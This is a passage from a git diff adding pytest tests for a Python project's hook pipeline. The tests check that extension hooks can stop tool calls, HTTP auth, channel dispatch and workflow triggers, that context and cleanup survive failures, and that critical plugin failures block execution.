test_execution_stop_cannot_be_cleared_by_a_later_hook() -> None: + """The generic stop control is monotonic across independently ordered hooks.""" + + class StopHook(HookBase): + async def action_before(self, ctx: HookContext) -> None: + ctx.output["execution"] = {"stop": True, "detail": "blocked"} + + class ClearHook(HookBase): + async def action_before(self, ctx: HookContext) -> None: + ctx.output["execution"] = {"stop": False} + + calls: list[dict[str, Any]] = [] + arguments = {"command": "safe"} + HookPipeline.register("test.stop", StopHook(), order=10) + HookPipeline.register("test.clear", ClearHook(), order=20) + + result = await _tool("bash", arguments, calls).execute( + ToolContext(session_id="s-1", message_id="m-1"), + **arguments, + ) + + assert result.success is False + assert result.error == "blocked" + assert calls == [] diff --git a/tests/hooks/test_extension_execution_contract.py b/tests/hooks/test_extension_execution_contract.py new file mode 100644 index 000000000..36fab1efc --- /dev/null +++ b/tests/hooks/test_extension_execution_contract.py @@ -0,0 +1,1167 @@ +from __future__ import annotations + +import asyncio +from io import BytesIO +import json +import time +from types import SimpleNamespace +from unittest.mock import AsyncMock + +import pytest +from fastapi import HTTPException, UploadFile +from starlette.requests import Request +from starlette.responses import Response + +from flocks.auth.context import AuthUser, get_current_auth_user, set_current_auth_user +from flocks.channel.base import InboundMessage +from flocks.channel.inbound.dispatcher import InboundDispatcher +from flocks.hooks.execution import ( + ExecutionStopped, + current_execution_context, + execute_with_hooks, + execution_context_scope, +) +from flocks.hooks.pipeline import HookBase, HookPipeline +from flocks.identity import get_current_subject +from flocks.ingest.kafka.manager import KafkaManager +from flocks.ingest.syslog.manager import SyslogManager +from flocks.plugin import ExtensionPoint, PluginLoader +from flocks.server import auth +import flocks.server.app as server_app_module +from flocks.server.app import auth_guard_middleware +from flocks.server.routes import config as config_routes +from flocks.server.routes import mcp as mcp_routes +from flocks.server.routes import workflow as workflow_routes +from flocks.tool.registry import ( + ParameterType, + Tool, + ToolCategory, + ToolContext, + ToolInfo, + ToolParameter, + ToolResult, + ToolRegistry, +) +from flocks.workflow import service_runtime +from flocks.workflow.triggers.models import TriggerDefinition +from flocks.workflow.triggers.runtime import TriggerRuntime + + +@pytest.fixture(autouse=True) +def reset_pipeline() -> None: + HookPipeline.reset() + HookPipeline._initialized = True + yield + HookPipeline.reset() + + +@pytest.mark.asyncio +async def test_action_stage_is_empty_without_registered_hooks() -> None: + ctx = await HookPipeline.run_action_before({"operation": "mcp.update"}) + + assert ctx.output == {} + + +@pytest.mark.asyncio +async def test_execution_stop_is_interpreted_only_by_calling_adapter() -> None: + observed: list[tuple[str, dict]] = [] + opaque_context = {"opaque_binding": object()} + + class Stopper(HookBase): + async def ingress_before(self, ctx): + observed.append((ctx.stage, dict(ctx.input))) + return { + "execution": { + "stop": True, + "detail": "extension stopped operation", + }, + "context": opaque_context, + } + + async def ingress_after(self, ctx): + observed.append((ctx.stage, dict(ctx.input))) + + HookPipeline.register("stopper", Stopper()) + payload = {"operation": "mcp.update", "arguments": {"name": "example"}} + + stage_context = await HookPipeline.run_ingress_before(payload) + assert stage_context.output == { + "execution": {"stop": True, "detail": "extension stopped operation"}, + "context": opaque_context, + } + assert stage_context.input == payload + observed.clear() + + effect = AsyncMock(return_value={"ok": True}) + with pytest.raises(ExecutionStopped, match="extension stopped operation"): + await execute_with_hooks( + payload, + effect, + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, + ) + + effect.assert_not_awaited() + assert [stage for stage, _payload in observed] == ["ingress.before", "ingress.after"] + after_payload = observed[-1][1] + assert after_payload["outcome"] == "stopped" + assert isinstance(after_payload["error"], ExecutionStopped) + assert after_payload["context"] is opaque_context + + +@pytest.mark.asyncio +async def test_unregistered_action_hook_leaves_operation_and_result_unmodified() -> None: + payload = {"operation": "tool.execute", "arguments": {"none": None}} + result = {"raw": object()} + effect = AsyncMock(return_value=result) + + actual = await execute_with_hooks(payload, effect) + + assert actual is result + assert payload == {"operation": "tool.execute", "arguments": {"none": None}} + effect.assert_awaited_once_with() + + +@pytest.mark.asyncio +async def test_execute_with_hooks_preserves_structured_terminal_outcome_and_context() -> None: + """The paired after stage receives neutral, structured terminal facts.""" + + observed_after_payloads: list[dict] = [] + + class ContextLifecycle(HookBase): + async def action_before(self, _ctx): + return { + "context": { + "subject": { + "subject_id": "principal-1", + "subject_type": "service_account", + }, + "entry": "workflow_service", + } + } + + async def action_after(self, ctx): + observed_after_payloads.append(dict(ctx.input)) + + HookPipeline.register("terminal-outcome-context", ContextLifecycle()) + + assert await execute_with_hooks( + { + "action": "workflow.invoke", + "resource": {"type": "workflow", "id": "wf-1"}, + }, + AsyncMock(return_value={"raw": "result"}), + ) == {"raw": "result"} + + after_payload = observed_after_payloads[-1] + assert after_payload["outcome"] == "success" + assert after_payload["terminal_outcome"] == { + "status": "success", + "success": True, + "executed": True, + } + assert after_payload["context"] == { + "subject": { + "subject_id": "principal-1", + "subject_type": "service_account", + }, + "entry": "workflow_service", + } + + +@pytest.mark.asyncio +async def test_execute_with_hooks_binds_and_resets_valid_neutral_subject() -> None: + class SubjectLifecycle(HookBase): + async def ingress_before(self, _ctx): + return { + "context": { + "subject": { + "subject_id": "principal_42", + "subject_type": "channel_user", + } + } + } + + HookPipeline.register("subject-lifecycle", SubjectLifecycle()) + observed = [] + + async def effect() -> str: + observed.append(get_current_subject()) + return "ok" + + assert await execute_with_hooks( + {"operation": "channel.dispatch"}, + effect, + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, + ) == "ok" + assert observed[0].subject_id == "principal_42" + assert get_current_subject() is None + + +@pytest.mark.asyncio +async def test_execute_with_hooks_forwards_successful_after_subject_to_sink() -> None: + """An after-stage hook can provide neutral request context after auth.""" + + class AfterSubject(HookBase): + async def ingress_after(self, _ctx): + return { + "context": { + "subject": { + "subject_id": "authenticated-local-user", + "subject_type": "human", + } + } + } + + HookPipeline.register("after-subject", AfterSubject()) + sunk_subjects = [] + auth_result = (None, object(), object()) + + assert await execute_with_hooks( + {"operation": "auth.request", "transport": "http"}, + AsyncMock(return_value=auth_result), + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, + subject_sink=sunk_subjects.append, + ) is auth_result + + assert len(sunk_subjects) == 1 + assert sunk_subjects[0].subject_id == "authenticated-local-user" + + +@pytest.mark.asyncio +async def test_execute_with_hooks_forwards_after_opaque_context_to_sink() -> None: + """An extension context can survive auth without OSS interpreting it.""" + + class AfterContext(HookBase): + async def ingress_after(self, _ctx): + return { + "context": { + "workflow_transfer": "opaque-pro-token", + "extension_marker": "value", + } + } + + HookPipeline.register("after-context", AfterContext()) + sunk_contexts: list[dict] = [] + + assert await execute_with_hooks( + {"operation": "auth.request", "transport": "http"}, + AsyncMock(return_value="authenticated"), + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, + context_sink=sunk_contexts.append, + ) == "authenticated" + + assert sunk_contexts == [ + { + "workflow_transfer": "opaque-pro-token", + "extension_marker": "value", + } + ] + + +@pytest.mark.asyncio +async def test_ingress_after_runs_cleanup_after_earlier_critical_failure() -> None: + """Ingress cleanup cannot be skipped by an earlier critical after hook.""" + + cleanup_called = False + + class CriticalFailure(HookBase): + async def ingress_after(self, _ctx): + raise RuntimeError("critical ingress after failure") + + class Cleanup(HookBase): + async def ingress_after(self, _ctx): + nonlocal cleanup_called + cleanup_called = True + + HookPipeline.register("critical-after", CriticalFailure(), critical=True) + HookPipeline.register("cleanup-after", Cleanup(), order=1) + + with pytest.raises(RuntimeError, match="critical ingress after failure"): + await execute_with_hooks( + {"operation": "channel.dispatch", "transport": "channel"}, + AsyncMock(return_value="ok"), + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, + ) + + assert cleanup_called is True + + +@pytest.mark.asyncio +async def test_execute_with_hooks_merges_before_context_mapping_into_after() -> None: + """Lifecycle adapters preserve arbitrary hook context without interpreting it.""" + + opaque_before_value = object() + opaque_payload_value = object() + opaque_context = { + "opaque_binding": opaque_before_value, + "subject": {"subject_id": "p-1"}, + "shared": "before", + } + observed_after_payloads: list[dict] = [] + + class ContextLifecycle(HookBase): + async def ingress_before(self, _ctx): + return {"context": opaque_context} + + async def ingress_after(self, ctx): + observed_after_payloads.append(dict(ctx.input)) + + HookPipeline.register("context-lifecycle", ContextLifecycle()) + + assert await execute_with_hooks( + { + "operation": "channel.dispatch", + "context": { + "opaque_payload": opaque_payload_value, + "shared": "payload", + }, + }, + AsyncMock(return_value="ok"), + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, + ) == "ok" + + after_context = observed_after_payloads[0]["context"] + assert after_context["opaque_binding"] is opaque_before_value + assert after_context["opaque_payload"] is opaque_payload_value + assert after_context["shared"] == "before" + + +@pytest.mark.asyncio +async def test_execute_with_hooks_forwards_before_context_to_after_on_cancellation() -> None: + """Cancellation still runs the paired generic after lifecycle stage.""" + + opaque_context = {"opaque_binding": object()} + observed_after_payloads: list[dict] = [] + + class ContextLifecycle(HookBase): + async def ingress_before(self, _ctx): + return {"context": opaque_context} + + async def ingress_after(self, ctx): + observed_after_payloads.append(dict(ctx.input)) + + async def cancelled_effect() -> None: + raise asyncio.CancelledError() + + HookPipeline.register("cancelled-context-lifecycle", ContextLifecycle()) + + with pytest.raises(asyncio.CancelledError): + await execute_with_hooks( + {"operation": "channel.dispatch"}, + cancelled_effect, + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, + ) + + assert observed_after_payloads[0]["context"] is opaque_context + + +@pytest.mark.asyncio +async def test_execute_with_hooks_runs_after_when_before_hook_raises() -> None: + """A critical before-hook failure still reaches generic lifecycle cleanup.""" + + observed_after_payloads: list[dict] = [] + + class Recorder(HookBase): + async def ingress_before(self, _ctx): + return {"context": {"opaque_binding": object()}} + + async def ingress_after(self, ctx): + observed_after_payloads.append(dict(ctx.input)) + + class CriticalFailure(HookBase): + async def ingress_before(self, _ctx): + raise RuntimeError("critical before hook failed") + + HookPipeline.register("before-failure-recorder", Recorder()) + HookPipeline.register("before-failure", CriticalFailure(), critical=True) + + with pytest.raises(RuntimeError, match="critical before hook failed"): + await execute_with_hooks( + {"operation": "channel.dispatch"}, + AsyncMock(), + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, + ) + + assert observed_after_payloads[0]["outcome"] == "error" + assert isinstance(observed_after_payloads[0]["error"], RuntimeError) + + +@pytest.mark.asyncio +async def test_untrusted_subject_context_never_bypasses_http_authentication() -> None: + class UntrustedContextHook(HookBase): + async def ingress_before(self, _ctx): + return { + "context": { + "subject": { + "subject_id": "untrusted-hook", + "subject_type": "caller_metadata", + "attributes": {"role": "admin"}, + } + } + } + + HookPipeline.register("untrusted-context", UntrustedContextHook()) + request = Request( + { + "type": "http", + "method": "GET", + "scheme": "http", + "path": "/api/config", + "headers": [], + "client": ("127.0.0.1", 12345), + "server": ("testserver", 80), + } + ) + + with pytest.raises(HTTPException, match="API Token"): + await auth.apply_auth_for_request(request) + + assert request.state.subject.subject_id == "untrusted-hook" + assert not hasattr(request.state, "auth_user") + assert get_current_subject() is None + + +@pytest.mark.asyncio +async def test_auth_adapter_clears_auth_context_when_after_hook_stops(monkeypatch) -> None: + """An ingress-after denial must not strand an authenticated OSS user.""" + + class StopAfterAuthentication(HookBase): + async def ingress_after(self, _ctx): + return {"execution": {"stop": True, "detail": "policy_denied"}} + + authenticated = AuthUser( + id="local_42", + username="alice", + role="member", + status="active", + ) + + async def authenticated_effect(_request): + token = set_current_auth_user(authenticated) + return None, token, authenticated + + HookPipeline.register("stop-after-authentication", StopAfterAuthentication()) + monkeypatch.setattr(auth, "_apply_auth_for_request", authenticated_effect) + request = Request( + { + "type": "http", + "method": "GET", + "scheme": "http", + "path": "/api/config", + "headers": [], + "client": ("127.0.0.1", 12345), + "server": ("testserver", 80), + } + ) + + with pytest.raises(ExecutionStopped, match="policy_denied"): + await auth.apply_auth_for_request(request) + + assert get_current_auth_user() is None + + +@pytest.mark.asyncio +async def test_execute_with_hooks_resets_neutral_subject_on_cancellation() -> None: + class SubjectLifecycle(HookBase): + async def ingress_before(self, _ctx): + return { + "context": { + "subject": { + "subject_id": "principal_42", + "subject_type": "channel_user", + } + } + } + + HookPipeline.register("subject-lifecycle", SubjectLifecycle()) + + async def effect() -> None: + assert get_current_subject() is not None + raise asyncio.CancelledError() + + with pytest.raises(asyncio.CancelledError): + await execute_with_hooks( + {"operation": "channel.dispatch"}, + effect, + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, + ) + + assert get_current_subject() is None + + +@pytest.mark.asyncio +async def test_main_server_critical_plugin_state_returns_503_before_auth(monkeypatch) -> None: + class _CriticalResult: + has_critical_entrypoint_failure = True + critical_entrypoint_failures = ["declared-critical-plugin"] + + monkeypatch.setattr( + PluginLoader, + "load_all", + lambda **_kwargs: _CriticalResult(), + ) + server_app_module._load_installed_package_plugins() + request = Request( + { + "type": "http", + "method": "GET", + "scheme": "http", + "path": "/health", + "headers": [], + "client": ("127.0.0.1", 12345), + "server": ("testserver", 80), + "app": server_app_module.app, + } + ) + call_next = AsyncMock(return_value=Response(status_code=204)) + + response = await auth_guard_middleware(request, call_next) + + assert response.status_code == 503 + assert server_app_module.app.state.critical_plugin_entrypoint_failure is True + call_next.assert_not_awaited() + server_app_module.app.state.critical_plugin_entrypoint_failure = False + server_app_module.app.state.critical_plugin_entrypoint_failures = () + + +@pytest.mark.asyncio +@pytest.mark.parametrize( + ("detail", "expected_status", "expected_error"), + [ + ("policy_denied", 403, "Forbidden"), + ( + "critical plugin entrypoint failure", + 503, + "ServiceUnavailable", + ), + ], +) +async def test_auth_middleware_distinguishes_extension_denial_from_critical_outage( + monkeypatch, + detail: str, + expected_status: int, + expected_error: str, +) -> None: + """Only the declared startup-critical condition is an availability outage.""" + + request = Request( + { + "type": "http", + "method": "GET", + "scheme": "http", + "path": "/api/config", + "headers": [], + "client": ("127.0.0.1", 12345), + "server": ("testserver", 80), + "app": server_app_module.app, + } + ) + monkeypatch.setattr(server_app_module.app.state, "critical_plugin_entrypoint_failure", False) + + async def stop_authentication(_request): + raise ExecutionStopped(detail) + + monkeypatch.setattr(server_app_module, "apply_auth_for_request", stop_authentication) + response = await auth_guard_middleware(request, AsyncMock(return_value=Response())) + + assert response.status_code == expected_status + assert expected_error.encode() in response.body + + +@pytest.mark.asyncio +async def test_channel_dispatcher_does_not_effect_after_critical_plugin_failure( + monkeypatch, +) -> None: + monkeypatch.setattr(PluginLoader, "_runtime_critical_entrypoint_failure", True) + dispatcher = InboundDispatcher() + dispatcher._dispatch = AsyncMock() + message = InboundMessage( + channel_id="test", + account_id="default", + message_id="critical-plugin-message", + sender_id="sender-1", + text="must not dispatch", + ) + + with pytest.raises(ExecutionStopped, match="critical plugin entrypoint failure"): + await dispatcher.dispatch(message) + + dispatcher._dispatch.assert_not_awaited() + + +@pytest.mark.asyncio +async def test_scoped_critical_entrypoint_failure_stops_tool_registry_effect( + monkeypatch: pytest.MonkeyPatch, + tmp_path, +) -> None: + """A critical entrypoint found by scoped loading blocks a real tool call.""" + + class _CriticalEntryPoint: + name = "scoped-critical-plugin" + + @staticmethod + def load(): + raise ImportError("critical plugin dependency unavailable") + + class _EntryPoints: + @staticmethod + def select(*, group: str): + if group == "flocks.plugins.critical": + return [_CriticalEntryPoint()] + assert group == "flocks.plugins" + return [] + + monkeypatch.setattr( + "flocks.plugin.loader.importlib.metadata.entry_points", + lambda: _EntryPoints(), + ) + monkeypatch.setattr( + "flocks.plugin.loader.importlib.util.find_spec", + lambda _name: object(), + ) + monkeypatch.setattr( + PluginLoader, + "_extension_points", + { + "TOOLS": ExtensionPoint( + attr_name="TOOLS", + subdir="tools", + consumer=lambda _items, _source: None, + ) + }, + ) + monkeypatch.setattr(PluginLoader, "_runtime_critical_entrypoint_failure", False) + + PluginLoader.load_extension( + "TOOLS", + project_dir=tmp_path, + load_entry_points=True, + ) + + executed = False + + async def handler(_ctx: ToolContext, value: str) -> ToolResult: + nonlocal executed + executed = True + return ToolResult(success=True, output=value) + + tool = Tool( + info=ToolInfo( + name="scoped-critical-entrypoint-tool", + description="must not execute after scoped critical plugin failure", + category=ToolCategory.CUSTOM, + parameters=[ToolParameter(name="value", type=ParameterType.STRING, required=True)], + ), + handler=handler, + ) + monkeypatch.setattr(ToolRegistry, "_initialized", True) + monkeypatch.setattr(ToolRegistry, "_tools", {tool.info.name: tool}) + monkeypatch.setattr(ToolRegistry, "_failure_state", {}) + + result = await ToolRegistry.execute( + tool.info.name, + ToolContext(session_id="session-1", message_id="message-1"), + value="must not execute", + ) + + assert PluginLoader.has_runtime_critical_entrypoint_failure() is True + assert result.success is False + assert result.error == "critical plugin entrypoint failure" + assert executed is False + + +@pytest.mark.asyncio +@pytest.mark.parametrize("load_mode", ["scoped", "all"]) +@pytest.mark.parametrize("pro_installed", [False, True]) +async def test_entrypoint_metadata_scan_failure_follows_pro_installation_boundary( + monkeypatch: pytest.MonkeyPatch, + tmp_path, + load_mode: str, + pro_installed: bool, +) -> None: + """Metadata scan failures stop effects only when Pro is installed.""" + + def _scan_error(): + raise RuntimeError("entrypoint metadata unavailable") + + monkeypatch.setattr( + "flocks.plugin.loader.importlib.metadata.entry_points", + _scan_error, + ) + monkeypatch.setattr( + "flocks.plugin.loader.importlib.util.find_spec", + lambda _name: object() if pro_installed else None, + ) + monkeypatch.setattr( + PluginLoader, + "_extension_points", + { + "TOOLS": ExtensionPoint( + attr_name="TOOLS", + subdir="tools", + consumer=lambda _items, _source: None, + ) + }, + ) + monkeypatch.setattr(PluginLoader, "_runtime_critical_entrypoint_failure", False) + + if load_mode == "scoped": + PluginLoader.load_extension( + "TOOLS", + project_dir=tmp_path, + load_entry_points=True, + ) + else: + result = PluginLoader.load_all(project_dir=tmp_path) + assert result.has_critical_entrypoint_failure is pro_installed + + executed = False + + async def handler(_ctx: ToolContext, value: str) -> ToolResult: + nonlocal executed + executed = True + return ToolResult(success=True, output=value) + + tool = Tool( + info=ToolInfo( + name=f"entrypoint-metadata-scan-{load_mode}", + description="must not execute after entrypoint metadata scan failure", + category=ToolCategory.CUSTOM, + parameters=[ToolParameter(name="value", type=ParameterType.STRING, required=True)], + ), + handler=handler, + ) + monkeypatch.setattr(ToolRegistry, "_initialized", True) + monkeypatch.setattr(ToolRegistry, "_tools", {tool.info.name: tool}) + monkeypatch.setattr(ToolRegistry, "_failure_state", {}) + + execution = await ToolRegistry.execute( + tool.info.name, + ToolContext(session_id="session-1", message_id="message-1"), + value="must not execute", + ) + + assert PluginLoader.has_runtime_critical_entrypoint_failure() is pro_installed + assert execution.success is not pro_installed + assert execution.error == ("critical plugin entrypoint failure" if pro_installed else None) + assert executed is not pro_installed + + +@pytest.mark.asyncio +async def test_main_server_critical_loader_result_stops_channel_without_a_hook( + monkeypatch, +) -> None: + """A failed main-server plugin load cannot leave Channel ingress open.""" + + class _CriticalResult: + has_critical_entrypoint_failure = True + critical_entrypoint_failures = ["declared-critical-plugin"] + + def load_critical(**_kwargs): + PluginLoader._runtime_critical_entrypoint_failure = True + return _CriticalResult() + + monkeypatch.setattr(PluginLoader, "load_all", load_critical) + server_app_module._load_installed_package_plugins() + dispatcher = InboundDispatcher() + dispatcher._dispatch = AsyncMock() + + try: + with pytest.raises(ExecutionStopped, match="critical plugin entrypoint failure"): + await dispatcher.dispatch( + InboundMessage( + channel_id="test", + account_id="default", + message_id="main-server-critical-plugin-message", + sender_id="sender-1", + text="must not dispatch", + ) + ) + dispatcher._dispatch.assert_not_awaited() + finally: + PluginLoader.clear_runtime_critical_entrypoint_failure() + server_app_module.app.state.critical_plugin_entrypoint_failure = False + server_app_module.app.state.critical_plugin_entrypoint_failures = () + + +@pytest.mark.asyncio +async def test_tool_lifecycle_preserves_original_arguments_before_remapping_and_coercion() -> None: + observed: list[dict] = [] + handler_kwargs: dict = {} + + class LifecycleRecorder(HookBase): + async def action_before(self, ctx): + observed.append(dict(ctx.input)) + + async def handler(_ctx: ToolContext, **kwargs) -> ToolResult: + handler_kwargs.update(kwargs) + return ToolResult(success=True, output="ok") + + HookPipeline.register("lifecycle-recorder", LifecycleRecorder()) + tool = Tool( + info=ToolInfo( + name="raw-lifecycle-arguments", + description="Preserve raw lifecycle arguments", + category=ToolCategory.CUSTOM, + parameters=[ + ToolParameter(name="stringValue", type=ParameterType.STRING), + ToolParameter(name="mappingValue", type=ParameterType.STRING), + ToolParameter(name="listValue", type=ParameterType.STRING), + ], + ), + handler=handler, + ) + raw_mapping = {"nested": [1]} + raw_list = ["item", {"enabled": True}] + + result = await tool.execute( + ToolContext(session_id="session-1", message_id="message-1"), + string_value=None, + mapping_value=raw_mapping, + list_value=raw_list, + ) + + assert result.success is True + lifecycle_arguments = observed[0]["tool"]["input"] + assert lifecycle_arguments["string_value"] is None + assert lifecycle_arguments["mapping_value"] is raw_mapping + assert lifecycle_arguments["list_value"] is raw_list + assert handler_kwargs["stringValue"] == "None" + assert json.loads(handler_kwargs["mappingValue"]) == raw_mapping + assert json.loads(handler_kwargs["listValue"]) == raw_list + + +@pytest.mark.asyncio +async def test_tool_lifecycle_forwards_context_extra_as_opaque_carrier() -> None: + observed: list[dict] = [] + + class LifecycleRecorder(HookBase): + async def action_before(self, ctx): + observed.append(dict(ctx.input)) + + async def handler(_ctx: ToolContext, value: str) -> ToolResult: + return ToolResult(success=True, output=value) + + HookPipeline.register("lifecycle-recorder", LifecycleRecorder()) + tool = Tool( + info=ToolInfo( + name="context-extra-carrier", + description="Forward neutral tool context extra", + category=ToolCategory.CUSTOM, + parameters=[ToolParameter(name="value", type=ParameterType.STRING)], + ), + handler=handler, + ) + context_extra = { + "subject": {"subject_id": "principal-1", "subject_type": "human"}, + "parent_ceiling": {"tools": ["read"]}, + "opaque": {"value": object()}, + } + + result = await tool.execute( + ToolContext("session-1", "message-1", extra=context_extra), value="ok" + ) + + assert result.success is True + assert observed[0]["execution_domain"] == "execution_runtime" + assert observed[0]["tool_context_extra"] == context_extra + assert observed[0]["tool_context_extra"] is not context_extra + assert observed[0]["tool_context_extra"]["opaque"] is context_extra["opaque"] + + +@pytest.mark.asyncio +async def test_tool_lifecycle_forwards_inherited_execution_context() -> None: + observed: list[dict] = [] + + class LifecycleRecorder(HookBase): + async def action_before(self, ctx): + observed.append(dict(ctx.input)) + + async def handler(_ctx: ToolContext, value: str) -> ToolResult: + return ToolResult(success=True, output=value) + + HookPipeline.register("lifecycle-recorder", LifecycleRecorder()) + tool = Tool( + info=ToolInfo( + name="inherited-context-carrier", + description="Forward inherited neutral context", + category=ToolCategory.CUSTOM, + parameters=[ToolParameter(name="value", type=ParameterType.STRING)], + ), + handler=handler, + ) + + with execution_context_scope({"workflow_transfer": "opaque-transfer"}): + result = await tool.execute( + ToolContext("session-1", "message-1"), value="ok" + ) + + assert result.success is True + assert observed[0]["tool_context_extra"] == { + "execution_context": {"workflow_transfer": "opaque-transfer"} + } + + +@pytest.mark.asyncio +async def test_execution_context_can_be_cleared_at_ownership_boundary() -> None: + with execution_context_scope({"workflow_transfer": "opaque-transfer"}): + with execution_context_scope({}, inherit=False): + assert current_execution_context() == {} + + +@pytest.mark.asyncio +async def test_tool_execution_is_unchanged_without_hooks() -> None: + observed: list[str] = [] + + async def handler(_ctx: ToolContext, value: str) -> ToolResult: + observed.append(value) + return ToolResult(success=True, output=value) + + tool = Tool( + info=ToolInfo( + name="context-extra-no-hook", + description="Neutral tool execution without hooks", + category=ToolCategory.CUSTOM, + parameters=[ToolParameter(name="value", type=ParameterType.STRING)], + ), + handler=handler, + ) + + result = await tool.execute( + ToolContext("session-1", "message-1", extra={"opaque": "value"}), + value="ok", + ) + + assert result.model_dump() == { + "success": True, + "output": "ok", + "error": None, + "metadata": {}, + "title": None, + "truncated": False, + "attachments": None, + } + assert observed == ["ok"] + + +@pytest.mark.asyncio +async def test_http_and_channel_ingress_emit_before_and_after() -> None: + observed: list[tuple[str, dict]] = [] + + class IngressLifecycle(HookBase): + async def ingress_before(self, ctx): + observed.append((ctx.stage, dict(ctx.input))) + + async def ingress_after(self, ctx): + observed.append((ctx.stage, dict(ctx.input))) + + HookPipeline.register("ingress-lifecycle", IngressLifecycle()) + request = Request({ + "type": "http", + "method": "GET", + "scheme": "http", + "path": "/health", + "headers": [], + "client": ("127.0.0.1", 12345), + "server": ("testserver", 80), + }) + await auth.apply_auth_for_request(request) + + dispatcher = InboundDispatcher() + message = InboundMessage( + channel_id="test", + account_id="default", + message_id="duplicate-message", + sender_id="sender-1", + text="original transport text", + mention_text="mention-only text", + raw={"provider": "test", "event": "original"}, + ) + dispatcher.dedup._seen[message.message_id] = time.monotonic() + await dispatcher.dispatch(message) + + assert [stage for stage, _payload in observed] == [ + "ingress.before", + "ingress.after", + "ingress.before", + "ingress.after", + ] + assert observed[0][1]["request"] is request + channel_payload = observed[2][1] + assert channel_payload["message"] is message + assert channel_payload["text"] == "original transport text" + assert channel_payload["evidence"] is message.raw + + +@pytest.mark.asyncio +async def test_wrapped_control_actions_stop_and_preserve_raw_arguments() -> None: + observed: list[tuple[str, dict]] = [] + + class Stopper(HookBase): + async def action_before(self, ctx): + observed.append((ctx.stage, dict(ctx.input))) + return {"execution": {"stop": True}} + + async def action_after(self, ctx): + observed.append((ctx.stage, dict(ctx.input))) + + HookPipeline.register("stopper", Stopper()) + ui_request = config_routes.UIConfigUpdateRequest(displayName=None) + favicon = UploadFile(filename="site.ico", file=BytesIO(b"favicon")) + config_data = {"channels": None} + mcp_request = mcp_routes.McpAddRequest(name="example", config={"url": None}) + workflow_request = workflow_routes.WorkflowCreateRequest( + name="raw workflow", + workflowJson={"nodes": []}, + ) + webhook_request = Request({ + "type": "http", + "method": "POST", + "scheme": "http", + "path": "/webhook/workflows/workflow-1/trigger-1", + "headers": [], + "client": ("127.0.0.1", 12345), + "server": ("testserver", 80), + }) + operations = [ + (config_routes.update_ui_config, (ui_request,), "request", ui_request), + (config_routes.upload_ui_favicon, (favicon,), "file", favicon), + (config_routes.reset_ui_favicon, (), None, None), + (config_routes.update_config, (config_data,), "config_data", config_data), + (mcp_routes.add_mcp_server, (mcp_request,), "request", mcp_request), + (workflow_routes.create_workflow, (workflow_request,), "req", workflow_request), + ( + workflow_routes.invoke_workflow_webhook_trigger, + ("workflow-1", "trigger-1", webhook_request), + "request", + webhook_request, + ), + ] + + for endpoint, args, argument_name, argument_value in operations: + with pytest.raises(ExecutionStopped): + await endpoint(*args) + before_payload = observed[-1][1] + if argument_name is not None: + assert before_payload["arguments"][argument_name] is argument_value + + assert [stage for stage, _payload in observed] == [ + stage + for _endpoint, _args, _argument_name, _argument_value in operations + for stage in ("action.before", "action.after") + ] + assert all(payload["outcome"] == "stopped" for stage, payload in observed if stage == "action.after") + + +@pytest.mark.asyncio +async def test_trigger_and_ingest_lifecycles_preserve_raw_trigger_and_event() -> None: + observed: list[tuple[str, dict]] = [] + + class LifecycleRecorder(HookBase): + async def action_before(self, ctx): + observed.append((ctx.stage, dict(ctx.input))) + + async def action_after(self, ctx): + observed.append((ctx.stage, dict(ctx.input))) + + HookPipeline.register("lifecycle-recorder", LifecycleRecorder()) + runtime = TriggerRuntime() + trigger = TriggerDefinition(id="trigger-1", type="kafka", source={"topic": "topic-1"}) + mapped_inputs = {"input": {"raw": True}} + runtime._execute_workflow_effect = AsyncMock(return_value={"executed": True}) + + result = await runtime._execute_workflow( + workflow_id="workflow-1", + workflow_json={}, + trigger=trigger, + mapped_inputs=mapped_inputs, + ) + + assert result == {"executed": True} + assert observed[0][1]["trigger"] is trigger + assert observed[0][1]["inputs"] is mapped_inputs + + kafka = KafkaManager() + kafka._dispatcher.dispatch = AsyncMock(return_value=None) + kafka_message = {"event": "kafka"} + await kafka._trigger_workflow( + "workflow-1", + {}, + kafka_message, + "message", + trigger=trigger, + ) + + syslog = SyslogManager() + syslog._dispatcher.dispatch = AsyncMock(return_value=None) + syslog_message = {"event": "syslog"} + syslog_trigger = TriggerDefinition(id="trigger-2", type="syslog") + await syslog._trigger_workflow( + "workflow-1", + {}, + syslog_message, + "message", + trigger=syslog_trigger, + ) + + before_payloads = [payload for stage, payload in observed if stage == "action.before"] + assert [payload["operation"] for payload in before_payloads] == [ + "workflow.trigger.execute", + "workflow.trigger.kafka", + "workflow.trigger.syslog", + ] + assert before_payloads[1]["trigger"] is trigger + assert before_payloads[1]["event"].raw is kafka_message + assert before_payloads[2]["trigger"] is syslog_trigger + assert before_payloads[2]["event"].raw is syslog_message + assert [stage for stage, _payload in observed] == [ + stage + for _operation in before_payloads + for stage in ("action.before", "action.after") + ] + + +@pytest.mark.asyncio +async def test_workflow_service_emits_lifecycle_with_raw_inputs( + monkeypatch: pytest.MonkeyPatch, +) -> None: + observed: list[tuple[str, dict]] = [] + + class LifecycleRecorder(HookBase): + async def action_before(self, ctx): + observed.append((ctx.stage, dict(ctx.input))) + + async def action_after(self, ctx): + observed.append((ctx.stage, dict(ctx.input))) + + HookPipeline.register("lifecycle-recorder", LifecycleRecorder()) + app = service_runtime.create_service_app( + workflow_json={}, + workflow_id="workflow-1", + release_id="release-1", + ) + app.state.mcp_ready = True + invoke = next(route.endpoint for route in app.routes if route.path == "/invoke") + req = service_runtime.InvokeRequest(inputs={"raw": {"value": 1}}, request_id="request-1") + monkeypatch.setattr(service_runtime, "build_workflow_tool_context", AsyncMock(return_value=object())) + monkeypatch.setattr( + service_runtime.asyncio, + "to_thread", + AsyncMock(return_value=SimpleNamespace(status="SUCCEEDED", run_id="run-1", outputs={}, error=None)), + ) + + response = await invoke(req) + + assert response["status"] == "SUCCEEDED" + assert [stage for stage, _payload in observed] == ["action.before", "action.after"] + assert observed[0][1]["operation"] == "workflow.service.invoke" + assert observed[0][1]["inputs"] is req.inputs diff --git a/tests/identity/test_subject_context.py 